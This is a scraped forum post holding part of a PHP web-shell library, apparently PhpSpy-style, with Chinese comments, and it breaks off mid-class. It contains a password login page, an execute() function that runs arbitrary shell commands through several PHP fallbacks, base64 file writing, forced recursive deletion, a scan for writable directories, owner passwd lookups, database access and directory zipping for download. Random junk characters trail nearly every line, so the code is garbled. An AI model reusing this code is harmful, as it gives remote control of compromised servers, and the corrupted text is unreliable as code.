  1324. <?php5 h5 q0 p, j6 e0 j% h0 M8 b- A
  1325. * O" Z2 F; i# \  l- v8 n
  1326. /*======================================================
    - j6 y3 b' ?- C9 X
  1327. 函数库  R6 b* T, {" Q" u0 b' m
  1328. ======================================================*/  \% \" }' `2 k) t) z: g

  1329. 6 K9 N' l+ P; ^/ e- X# n5 f. Z2 t
  1330. function m($msg) {9 y. E, T9 k" `& t- T& l% |
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    ( G1 V3 o1 ^+ P4 P
  1332.         echo $msg;" S( h( f! Z) {7 ?* E8 ?
  1333.         echo '</div>';
    & o/ ~6 A% K8 \" |- l( E0 o
  1334. }
    + t0 `$ q& U( ]; G# R% F
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {. I' C3 n4 A% n, R: F
  1336.         global $admin, $timestamp, $_SERVER;0 p7 J+ X8 q+ n7 ]2 x/ D8 k& b
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;& A% b7 t, |& v8 D0 N4 w
  1338.         $life = $life ? $life : $admin['cookielife'];
    1 {3 N# X) n7 c7 Z! S1 k
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    * E( f  o& C, w( ^" {# H
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      q9 c- s0 b) [
  1341. }       
    * y- ?" y1 F! P  R2 Z' i' C9 a) }
  1342. function multi($num, $perpage, $curpage, $tablename) {
    + M' P7 }# }+ `& B" R2 Y& M1 o
  1343.         $multipage = '';9 i- k1 a  ?. l+ D% F" m
  1344.         if($num > $perpage) {+ ]" o, P- e  S, a9 b$ V. h6 U
  1345.                 $page = 10;6 m0 y8 p: g  b0 a0 w/ y
  1346.                 $offset = 5;
    ; B6 v+ Y8 s% h7 g
  1347.                 $pages = @ceil($num / $perpage);5 V0 y8 E# H+ B, H# C
  1348.                 if($page > $pages) {* @4 y9 d5 L  S
  1349.                         $from = 1;
    % w8 L6 @/ l3 s
  1350.                         $to = $pages;. f( H$ L+ @3 O
  1351.                 } else {, r* O+ l. y8 f) L( m  B. ?9 A4 Q: @
  1352.                         $from = $curpage - $offset;( C2 Q9 u0 G8 H2 N7 s# M& J0 o# P
  1353.                         $to = $curpage + $page - $offset - 1;
    1 G5 M# P7 c* _" P! i
  1354.                         if($from < 1) {, t& ^5 t( {" u: Q
  1355.                                 $to = $curpage + 1 - $from;
    8 m: v8 D" j; G8 X6 p
  1356.                                 $from = 1;
      }+ H" M' ?$ M5 V! Q% u
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {, j/ g+ @8 ^/ e5 ^
  1358.                                         $to = $page;
    * @5 G  Z" l( s4 p8 t. J) K
  1359.                                 }! u; T) E! l4 o1 J: ~
  1360.                         } elseif($to > $pages) {
    , e, ]6 j! h* d$ ]2 l
  1361.                                 $from = $curpage - $pages + $to;9 P, G. L* R8 K* [
  1362.                                 $to = $pages;  ^7 D" i' `5 @
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {1 {* u# n$ |& r# \
  1364.                                         $from = $pages - $page + 1;( ^- k6 S" E/ f  P
  1365.                                 }
    . A4 B+ q! J; Q5 R1 M1 w
  1366.                         }3 k. ~* J. M$ e/ s, ~' E
  1367.                 }
    3 E2 s0 W4 F- F/ m6 [
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    3 t$ j- k+ `- j1 b3 n
  1369.                 for($i = $from; $i <= $to; $i++) {
    ( W1 P  y4 }! ^  p- k9 X% [' L
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';- U$ D( Y  r+ ^' l. [5 U% Y) ~
  1371.                 }
    " Z* f1 U$ V& Q# x+ Y! T: m
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
    6 L3 H5 Z0 {6 z. ?8 P; u0 \
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    4 K, O: Z) J% f: o+ W7 ]
  1374.         }% H8 M% V" u% q. I) e% S" p: @
  1375.         return $multipage;8 V+ f0 Y5 U* f& ~
  1376. }
    ' b' k8 h# K, n! ^6 v
  1377. // 登陆入口4 A# I/ Q+ ?. r9 ?
  1378. function loginpage() {
    : N* A2 s# n( n0 x3 {  u
  1379. ?>
    ! K0 ^) i* L1 j3 f7 ]0 S
  1380.         <style type="text/css">  j9 }8 I1 P' Z- x
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    + r1 K/ n7 y5 W4 J+ y
  1382.         </style>. n/ ?& T: }/ C3 \7 X3 V+ y
  1383.         <form method="POST" action="">
    % s" [4 b$ I7 U
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">: n/ J" X2 B' N5 u, u
  1385.         <input type="hidden" name="doing" value="login">( E% Q# b4 s; D, T' b
  1386.         <input type="submit" value="Login">/ i# q. q% {* [2 ]; m# {
  1387.         </form>
    2 b3 w1 }) J/ Q9 t/ N# ^
  1388. <?php% y, p5 t8 l' h: K
  1389.         exit;
    % f8 W& T& O! D2 j
  1390. }//end loginpage()
    & p/ ~" C- f, D7 b( L( D; y

  1391. " n3 `+ h- _0 z
  1392. function execute($cfe) {
      v9 S9 f0 M' T: g- m
  1393.         $res = '';9 M8 x! N9 A/ r* b+ Z! i
  1394.         if ($cfe) {
    ( L5 w5 k$ a! L2 e/ p& L# _
  1395.                 if(function_exists('exec')) {+ \* C7 C1 J5 @- s4 Y+ O. [% g% Z
  1396.                         @exec($cfe,$res);/ h/ I6 V: x, I! n  ?3 _5 ?
  1397.                         $res = join("\n",$res);: v$ W( j* q+ `9 D; a
  1398.                 } elseif(function_exists('shell_exec')) {7 v8 M0 \9 v4 v# p
  1399.                         $res = @shell_exec($cfe);
    3 a* F; h; x2 v& a
  1400.                 } elseif(function_exists('system')) {
    - F7 \2 R: n9 i' u- u: L1 O3 P
  1401.                         @ob_start();4 W* }" }2 M' D+ M/ K
  1402.                         @system($cfe);: |4 q0 {1 R4 b" c4 W/ a
  1403.                         $res = @ob_get_contents();
    , w; x/ U. D2 w( @$ x5 s: w
  1404.                         @ob_end_clean();- H) D# D1 }5 K5 x# g% B' Z* F
  1405.                 } elseif(function_exists('passthru')) {% P, y8 O5 W' m# L* z
  1406.                         @ob_start();6 i' N5 f- g" g: B3 a* W$ g& v
  1407.                         @passthru($cfe);7 R9 D3 s5 H( O
  1408.                         $res = @ob_get_contents();0 Y" w" c( \- d3 ^9 i: b
  1409.                         @ob_end_clean();" o9 }& P& |2 \  K  B0 B$ w1 S
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    * n0 m. b- i, Q  P/ |$ Y
  1411.                         $res = '';( u% f. t7 L: }! K1 x& N2 L) R
  1412.                         while(!@feof($f)) {
    7 T; X' O' ]- O/ Q& R+ A
  1413.                                 $res .= @fread($f,1024);
    2 j2 o$ t) |! y
  1414.                         }3 {' q- A: k; J" C
  1415.                         @pclose($f);5 `* H7 r2 k9 O, B' \# H3 f0 A
  1416.                 }
    5 l9 d0 j) T( z! h6 ], M% Z
  1417.         }
    ; X8 `, C0 {; J, w4 u' e; N$ \/ f' l
  1418.         return $res;: a% ^( U) d6 D2 A0 t- [
  1419. }" m  D* z4 i; H
  1420. function which($pr) {
    * Y4 S4 ~: j9 }% n8 j! D) a
  1421.         $path = execute("which $pr");3 g+ _- Y) ^! d& `
  1422.         return ($path ? $path : $pr); ! {4 z& b4 {( H8 H
  1423. }
    3 ]2 W: R! _- h/ N" H

  1424. 6 N- F7 w# l2 V3 g8 m9 v
  1425. function cf($fname,$text){9 s+ B" u8 O5 U0 J
  1426.         if($fp=@fopen($fname,'w')) {! R0 N$ y0 s* l
  1427.                 @fputs($fp,@base64_decode($text));
    7 e- u4 F* w- [8 M' w% {
  1428.                 @fclose($fp);
    # G' ]+ n: C6 h+ }; M! Y" w7 s: P
  1429.         }
    & p; ]; e& S7 R7 E, U
  1430. }, m# W. z# R* i1 V' ~% p

  1431. $ S1 ^( T7 Y5 `% H  i
  1432. // 页面调试信息
    ' e/ ^; m% V  v3 x0 u, {
  1433. function debuginfo() {+ `. G3 D. w( e7 O0 q2 n- _
  1434.         global $starttime;' \7 ~7 {  l  ^
  1435.         $mtime = explode(' ', microtime());
    $ [# B0 L* m: w- T
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);8 U0 I; P  E) G+ J) d2 b
  1437.         echo 'Processed in '.$totaltime.' second(s)';3 o+ k9 x' s; z+ S3 |; ]
  1438. }8 n: Q( F4 x% d' k
  1439. # P) y9 E/ X( l8 ]
  1440. //连接数据库
    6 v1 d& P  B- G0 @$ U
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    , o9 f0 q) X: M
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {; M' s) d. ]3 n# @
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    $ z+ `3 O; ~! o" r& P- \
  1444.                 exit;( y3 A2 t0 z: g7 a: `
  1445.         }7 k9 O4 F) Q# z9 p
  1446.         if($link && $dbname) {6 ?5 o  i% u$ E1 \6 }2 ]
  1447.                 if (!@mysql_select_db($dbname, $link)) {
    " U( n* c/ C+ B9 M* ^! T
  1448.                         p('<h2>Database selected has error</h2>');
    1 H& y- N+ f' a  U
  1449.                         exit;
    6 @. v7 S: z8 d! |
  1450.                 }$ ~- D' H  y. j6 I
  1451.         }9 P$ e( n4 S, @. d9 p( z
  1452.         if($link && mysql_get_server_info() > '4.1') {8 K3 m# z0 b- L2 H4 m
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ {: ~/ s( j: S" \* @6 O
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    0 F$ @2 n% I$ i, X) C$ K! e, ^, o
  1455.                 }8 [0 s$ v  C; Y7 A! ]( c9 w
  1456.         }
    . ^" t0 ^. W2 t2 l# e; _& f
  1457.         return $link;
    ( |3 H8 Z- \1 m1 ]& d
  1458. }: s0 W, n& d$ I
  1459. & I6 y$ v% ]$ `. o2 X6 t
  1460. // 去掉转义字符4 M6 S3 q: [+ w0 e: s5 A
  1461. function s_array(&$array) {7 q1 Q. M, C% y+ E
  1462.         if (is_array($array)) {* w& X. [* R: s; g, l4 D
  1463.                 foreach ($array as $k => $v) {
    9 {% Z9 f& }8 j8 `+ \  s, y
  1464.                         $array[$k] = s_array($v);
    ! ?$ m4 O/ e8 P' A- y" Y
  1465.                 }
    * B3 [8 ?6 P* }- I, Y& j' B
  1466.         } else if (is_string($array)) {, s  T# J& g- f6 a& n
  1467.                 $array = stripslashes($array);
    4 Z, i& \2 T1 C1 q; _
  1468.         }% _! k5 y& ^- o' C1 x7 w' V
  1469.         return $array;
    , m/ _' K( O7 d9 A7 v6 c- T0 g7 u+ K$ R
  1470. }
    ) |" I/ K: D& ]9 `

  1471. " {6 L5 u; P: r2 H/ t
  1472. // 清除HTML代码
    , z* b( \1 [, j9 {$ H
  1473. function html_clean($content) {  ]# g# R( }) x& r
  1474.         $content = htmlspecialchars($content);
    1 M; G2 R  u3 }/ p/ v  F
  1475.         $content = str_replace("\n", "<br />", $content);/ U% [: e3 W( X6 N$ A* L* F
  1476.         $content = str_replace("  ", "  ", $content);# }/ F! p# A% i5 X1 n6 g
  1477.         $content = str_replace("\t", "    ", $content);
    , H3 t. [& z$ _, c" o
  1478.         return $content;4 |& l( b+ |& {" @
  1479. }' E* |+ k$ H. x# \3 W3 B0 g

  1480. / H) w0 \- C# P8 J- ?" N4 P; Y5 t  U# V
  1481. // 获取权限
    1 V3 C6 p* ~. R4 s3 a) L+ e$ w
  1482. function getChmod($filepath){
    + {8 d4 [/ X3 w0 ?
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);- A6 r4 `+ w& s. H7 o
  1484. }: [+ T) o5 v* L
  1485. 0 B2 A0 I* o) {# b  e. Y
  1486. function getPerms($filepath) {( Z* i& x0 e  c: N6 _, ^( r5 a' \5 s
  1487.         $mode = @fileperms($filepath);& L0 L3 {2 n" R: S5 C- m% A3 M
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}  e# h8 v& ^9 m2 L
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    5 d+ d7 N& ~! ]. N% [1 g8 m. W
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}4 e. u7 t0 m' l5 l. c0 r# z
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    $ L: _: N8 x0 i8 x
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    5 w$ k! d! }# h, C9 g. H; X) c
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    $ I. X* _2 c' A& t; Q7 W4 [. j
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}! G$ f9 g% v' n1 C
  1495.         else {$type = '?';}1 }% w) [' Z$ N! J* q9 j
  1496. : L: Q. f; Q- V, H, V3 r# N
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    % q5 D% F1 g9 R* Q
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    0 u; [! J7 x: K# J. [; a% \. m
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    ; ^: b* G1 ?( t
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    " J7 N' ^; A+ _
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    0 X& E0 t7 Y: v0 Q0 |( U( @; Z
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; + d" P7 T( N1 ]
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    , m5 x7 r) X8 J3 n0 r6 H$ u
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; 2 O' Q3 {: B$ W# y3 s4 _
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';   `& Q/ X/ b, ~) j! D

  1506. - q+ ]+ y, j; S7 ?
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}* H) m5 J' Q& W! J
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}: ]( T/ z0 `  z0 D: v$ d
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    + b) T$ e0 I7 h3 L1 V, i5 t* h
  1510. " Q, F- Z* m. v) ^% C. ^8 k- ^
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    2 f  j& o* ?% G0 {& i
  1512. }
    $ u' m' }) k% y' z) h

  1513. % p$ V) A* [# _: a& M% A
  1514. function getUser($filepath)        {
    ' g1 r- _# N3 V. p* [1 I
  1515.         if (function_exists('posix_getpwuid')) {
    ; v. B  `0 f$ \$ c8 z3 B% R0 M! n
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));4 `1 ]/ V9 ~7 e% y+ W* ~4 ~
  1517.                 if ($array && is_array($array)) {* K3 l4 ]: c- N) X3 T" W2 v* W% E; _
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'9 y. P5 f- \1 ?; `
  1519. Passwd: '.$array['passwd'].'
    2 q* K! h1 d$ l6 j- ^1 b
  1520. Uid: '.$array['uid'].'
    : H& C; L* r1 S. K! ]
  1521. gid: '.$array['gid'].'
    5 f$ @6 N, l7 L& t: j/ [& |) `
  1522. Gecos: '.$array['gecos'].'
    ' n% U5 f1 C' I) ~$ P' @
  1523. Dir: '.$array['dir'].'7 I- l0 Y& ?" g) y- c
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    : n+ A( H) R5 i% I6 U3 S
  1525.                 }
    , E7 m  v( [7 N' H, z6 f
  1526.         }
    * ]5 Z# P* R  Q  Z, @
  1527.         return '';, b, N, b7 k* W+ w  k. |
  1528. }
    ( v6 u5 o& o, p$ D, m

  1529. # m1 b$ Y8 k) |& k
  1530. // 删除目录
    $ b1 L! q- f- {1 _
  1531. function deltree($deldir) {2 N5 {5 M/ p* N5 [; o
  1532.         $mydir=@dir($deldir);        2 z* A2 D* T5 e
  1533.         while($file=$mydir->read())        {                
    ! r) t8 Z0 ~2 R; o$ s9 Y  E& Y! ]9 o
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {   T+ z( d' z+ O7 V, Q, A4 v
  1535.                         @chmod($deldir.'/'.$file,0777);' E" M, s3 ~" M- J# K, m( @) r
  1536.                         deltree($deldir.'/'.$file); ) G3 K+ P/ ^# X1 J9 f
  1537.                 }" g6 b" Z+ n, H" ?- E6 T8 a! N3 T1 f+ e
  1538.                 if (is_file($deldir.'/'.$file)) {
    ' B3 w. m5 P  U1 q8 p% }6 |# v% L3 F
  1539.                         @chmod($deldir.'/'.$file,0777);& I- o, }* w, o: s( [
  1540.                         @unlink($deldir.'/'.$file);
    # }9 u! [  u4 [9 v" t
  1541.                 }% N. E$ P+ z( x" u' S
  1542.         } 6 Y9 s' y7 G! r- e7 E: [
  1543.         $mydir->close();
    2 |# j, X6 A1 i
  1544.         @chmod($deldir,0777);, ^4 _+ M; _# r/ C, W- J8 O
  1545.         return @rmdir($deldir) ? 1 : 0;& {* m9 z, s: P; q
  1546. }2 y" r+ \$ c, L3 H2 N2 S

  1547. : A# o9 \( u  D& @: `' i
  1548. // 表格行间的背景色替换
    7 g% e) a. ^- a' E5 W2 h6 {/ M3 y
  1549. function bg() {
    3 ~: p( ?8 b- }9 z% A+ g
  1550.         global $bgc;5 ~4 I2 J" ~, I7 v' [2 J" s/ z5 N/ u
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';) q% ~3 K0 D* L% h! C+ q7 ~
  1552. }
    / x, B5 P, t8 |' I" A4 j8 M
  1553. % n4 j& E- U0 _2 W# ?
  1554. // 获取当前的文件系统路径
    ) ]. Y5 Z$ c9 r6 `$ _0 l: R
  1555. function getPath($scriptpath, $nowpath) {
    + T- y- b( U9 c4 U( C9 k
  1556.         if ($nowpath == '.') {) R# W0 X6 m2 Z- e6 p7 J, z! U
  1557.                 $nowpath = $scriptpath;
    6 ^3 m; G0 V2 [  r
  1558.         }
    * ^2 ?" F# ^" D
  1559.         $nowpath = str_replace('\\', '/', $nowpath);- `* Z: P+ D  u2 w" n% H" y/ u
  1560.         $nowpath = str_replace('//', '/', $nowpath);8 ^5 T2 G  F- Y, u. f3 `) D
  1561.         if (substr($nowpath, -1) != '/') {$ V" s8 L6 ?$ c) w- ?
  1562.                 $nowpath = $nowpath.'/';1 k! r# u6 |# k4 F9 ~0 [! T2 k& }; I
  1563.         }( F  R- L2 D/ |2 W4 W. Y
  1564.         return $nowpath;) A2 P( H! ?. _& z( A
  1565. }
    & Q, c/ j2 M5 B

  1566. / X  t' o3 Z, f
  1567. // 获取当前目录的上级目录" D! `- |) a! z8 S
  1568. function getUpPath($nowpath) {" D( |0 V: g* \* H+ E$ j, o& }# H
  1569.         $pathdb = explode('/', $nowpath);7 H# n" X5 j" \# r8 ?+ T1 s
  1570.         $num = count($pathdb);! `5 i% b. T" z9 a
  1571.         if ($num > 2) {
    + l% J0 v) C3 O2 v7 ?- w7 n# R# t( C
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
    # O- ]2 ~$ m" `! d+ \& z) `/ O
  1573.         }! ?' |- m! T; l% u5 U1 t# ?! l9 M9 n
  1574.         $uppath = implode('/', $pathdb).'/';; e8 ~: [) H' A, _. c& v
  1575.         $uppath = str_replace('//', '/', $uppath);
    % |+ }' u+ Z, [9 ~
  1576.         return $uppath;! D: A1 ^# P/ }% `: Q! r( O8 {
  1577. }* l* ]. [/ y) n

  1578. 3 l$ \2 L' Q/ a$ p  R$ ]  p
  1579. // 检查PHP配置参数
    4 ]! g1 y  C; i
  1580. function getcfg($varname) {
    0 q* D1 y  v! O4 C% t  y, C
  1581.         $result = get_cfg_var($varname);
    ( C+ |9 \/ \4 \7 t' W+ x& z( ?
  1582.         if ($result == 0) {
    ( e5 u$ d! l4 r$ K; N; D" c
  1583.                 return 'No';5 z5 l  k! K# @1 x1 I0 G0 N
  1584.         } elseif ($result == 1) {
    8 m& d! @- C: L8 w$ l2 A; F& A
  1585.                 return 'Yes';% I+ d6 D) ^2 U. {8 U$ w
  1586.         } else {, Q6 b8 s. H1 z7 Y: G
  1587.                 return $result;" b0 b4 b* v6 l2 p/ e6 A% o
  1588.         }& E6 l/ t) [8 }, \/ U
  1589. }
    7 B5 i4 [3 N- W8 n  d! h9 y& [2 p8 b

  1590. 1 D2 ]# K% u3 e
  1591. // 检查函数情况
    ) q6 R1 M) Y/ I! {* P0 K
  1592. function getfun($funName) {
    ' `' f# C" E' ?" Z- z
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    ( e! }+ p$ y5 e& g) j& ?( }0 \: q
  1594. }1 {% d8 l# {0 f& V3 ~

  1595. % o6 W+ z0 z3 p* e$ w3 Z4 N: `& j
  1596. function GetList($dir){
    8 I' J: z# a7 c* q: [! k
  1597.         global $dirdata,$j,$nowpath;* h  D4 {; v0 P; p9 O. p2 u
  1598.         !$j && $j=1;5 u/ j* u, D/ E  ~. m  u2 `
  1599.         if ($dh = opendir($dir)) {
    0 Z2 K* v+ g" p" W; ^6 R  {
  1600.                 while ($file = readdir($dh)) {) l% k+ C+ U# Y% n1 w
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    7 G7 T& r, Z1 E8 X$ m# W  }
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){: P1 g1 O$ ]" {: c; L3 D6 e0 S
  1603.                                 if (is_writable($f)) {3 j) \0 O( O: i7 d+ I
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    5 y0 A: u) ?5 I0 _1 c+ k
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));( O, w  a6 e9 h& ^, w
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    ) D, c* l' P6 j0 }7 D. ^1 k
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);% a1 l$ h  e- @+ h' a6 t2 P
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);& {7 X" G' f/ g7 o9 o
  1609.                                         $dirdata[$j]['server_link']=$f;5 S6 M4 Z& i& j, m' q) U! v% Q
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    * Y7 A1 X/ |& J4 t
  1611.                                         $j++;' z- V9 y) }5 P( ~8 o% h! ?
  1612.                                 }5 m8 ^9 _$ T# G  Q) P5 j( Y% _4 K
  1613.                                 GetList($f);4 {2 E) U2 X3 O) G- s; O
  1614.                         }
      G% f+ U% r" i
  1615.                 }0 V& E: T8 @" d0 Y' l7 U
  1616.                 closedir($dh);
      ]" h7 E) K8 K: k
  1617.                 clearstatcache();/ P7 \6 H7 v( h$ V  s. Y( x$ r0 Y! k
  1618.                 return $dirdata;
    : e  m1 `! ?6 l2 z7 E' v& f
  1619.         } else {
    . B: M, z+ q/ W* L$ T$ d1 _
  1620.                 return array();6 T- E' q$ e2 N4 x
  1621.         }
    ( k7 q( l4 c" x% F
  1622. }
    : f2 F) F/ K- Z
  1623. ( P# |, C) g) Y# y! K5 T1 H
  1624. function qy($sql) {
    0 c* P/ t5 B  Z4 _
  1625.         //echo $sql.'<br>';
    # H- W) C8 i3 B$ [. k  F
  1626.         $res = $error = '';0 l8 c; E* g2 a, ?( W
  1627.         if(!$res = @mysql_query($sql)) { + k" s2 U: _0 H0 f
  1628.                 return 0;
    4 {) N- I. K* s/ M  l
  1629.         } else if(is_resource($res)) {
    ; {* P& P  ?1 q+ ^0 |  g, Z$ i6 Q
  1630.                 return 1; " q2 @  _+ ~& F, P$ j
  1631.         } else {% ?* ?2 V/ y; u& _; ~+ q6 E* y) L
  1632.                 return 2;4 x* m" }( n5 G6 v4 |+ r% c
  1633.         }       
    ! e; X5 C8 d1 p' n
  1634.         return 0;
    / p+ T( m% N$ N% {
  1635. }' J+ G5 H8 [7 U2 m; y) L

  1636. , w; [- S9 A. X5 k4 k0 K, R
  1637. function q($sql) { 1 k: U# H( L% O+ Y7 [! ^# b
  1638.         return @mysql_query($sql);
    " o! F1 r. [6 m
  1639. }
    8 Q4 P1 @, z: p3 }7 ~/ C/ r' E

  1640. / r2 N" u9 z2 J/ w4 n2 K0 C
  1641. function fr($qy){  Z4 c9 E! E! `. S- i  E& {- E
  1642.         mysql_free_result($qy);
    ) j8 Q# n2 m4 k# U- S0 B5 g* m
  1643. }6 t8 p$ F$ V7 F

  1644. 8 p: g% v' S# F( b, P1 p" ^- \
  1645. function sizecount($size) {
    . h4 m+ ~) x7 u; N
  1646.         if($size > 1073741824) {# U4 {9 n* w7 B7 z/ D8 p
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';9 E2 P5 l, m% m- L9 r; O
  1648.         } elseif($size > 1048576) {8 m! j2 h: D* S! M
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    $ |' h( z9 K6 j) l
  1650.         } elseif($size > 1024) {3 d# U2 x; ]( R2 Y
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    + t+ `$ j7 t; V+ t1 _
  1652.         } else {7 L7 M  s" f4 X- m' g; y3 }
  1653.                 $size = $size . ' B';
    / ?  F6 s( R4 g" _7 ^* _9 R
  1654.         }
    ; T1 k  a, o' I& W6 t
  1655.         return $size;
    ' P# q3 j, M. p) D$ v
  1656. }
    * s+ |( g6 ~/ @, l9 w; W
  1657. : _: q+ W/ R4 G+ M  F% }" m) @
  1658. // 压缩打包类
    ; ~) P, T$ A7 w0 v* [
  1659. class PHPZip{' t; f: _( S0 c, @* n: e
  1660.         var $out='';
      c$ E; S2 u4 T( `
  1661.         function PHPZip($dir)        {& ]$ L/ S" F$ W; S$ h
  1662.                 if (@function_exists('gzcompress'))        {
    / U5 K5 A6 X8 k6 o
  1663.                         $curdir = getcwd();& l& \, C$ u/ j* i2 }. i; \
  1664.                         if (is_array($dir)) $filelist = $dir;
    7 t) a. z# N) j# a: ]/ k3 T
  1665.                         else{
    - b  n* o1 y7 L9 |% G. I
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    * n# J+ m9 _/ a% O( n! T% x2 u
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    * g6 q( a0 r& L
  1668.                         }3 u( [7 H9 a) h; w- k) o
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);; F6 d# l2 E/ V5 w
  1670.                         else chdir($curdir);
      y9 B* }5 Y1 X+ W& V/ W
  1671.                         if (count($filelist)>0){" p5 M# e+ T' ]4 h/ R% i
  1672.                                 foreach($filelist as $filename){
    # y9 N3 b- [' M3 E% f* I, ~
  1673.                                         if (is_file($filename)){
    4 L- r6 {: V8 `1 q
  1674.                                                 $fd = fopen ($filename, 'r');9 o3 n3 e# W9 ?% N- `: j
  1675.                                                 $content = @fread ($fd, filesize($filename));! X) A' H. v3 e& m. G, Y( G
  1676.                                                 fclose ($fd);4 i" v, V8 h* W: O2 x
  1677.                                                 if (is_array($dir)) $filename = basename($filename);2 n/ r: Y; |9 O+ }
  1678.                                                 $this -> addFile($content, $filename);" Y4 `' A! N$ j
  1679.                                         }! y1 r) Z% h5 V/ o/ l
  1680.                                 }" x% m4 S; f* J1 ~* c# K4 `( b
  1681.                                 $this->out = $this -> file();. ^, _) N2 v* _8 c' b# @' V
  1682.                                 chdir($curdir);9 Y# g% O( o! ?+ @2 ~0 _
  1683.                         }
    ; n) F% z5 x8 {! w  p+ v
  1684.                         return 1;
    % }* h! f" U6 u0 [/ G
  1685.                 }* @0 n5 ?- E# [2 I6 U
  1686.                 else return 0;) e4 O# m% _' a8 @& B
  1687.         }
    - h  `# Y2 ?1 c2 ~5 i
  1688. 7 l# _3 L6 B; Y6 p6 F5 M
  1689.         // 获得指定目录文件列表3 ]6 a9 _! s7 c: U" A3 x+ t& h" i
  1690.         function GetFileList($dir){3 q8 ?9 Q  J: r% B7 Q5 x
  1691.                 static $a;
    " X5 m- ?2 O( x4 o$ R
  1692.                 if (is_dir($dir)) {) H; G- L# F3 M! x$ d% K
  1693.                         if ($dh = opendir($dir)) {8 o1 x3 E' h' H6 [
  1694.                                 while ($file = readdir($dh)) {. n) m4 w6 |+ A3 z5 b: G% m5 ^. R
  1695.                                         if($file!='.' && $file!='..'){
    & x. ~+ K  G) f( a2 H" W7 A
  1696.                                                 $f=$dir .'/'. $file;
    ; N9 O0 R. H# \5 `& {
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);) W' c4 j" ~4 e1 P0 C, w. N( C/ y9 S
  1698.                                                 $a[]=$f;% _7 |8 }$ N) p( }0 R% U; |
  1699.                                         }
    & V6 v7 W! d4 a$ M( e# i
  1700.                                 }3 U9 C! Z' V. X  Z- M) |; r& C
  1701.                                 closedir($dh);
    , P( V0 L2 s4 v  B- ^, w
  1702.                         }- h) i; v$ C/ Z
  1703.                 }
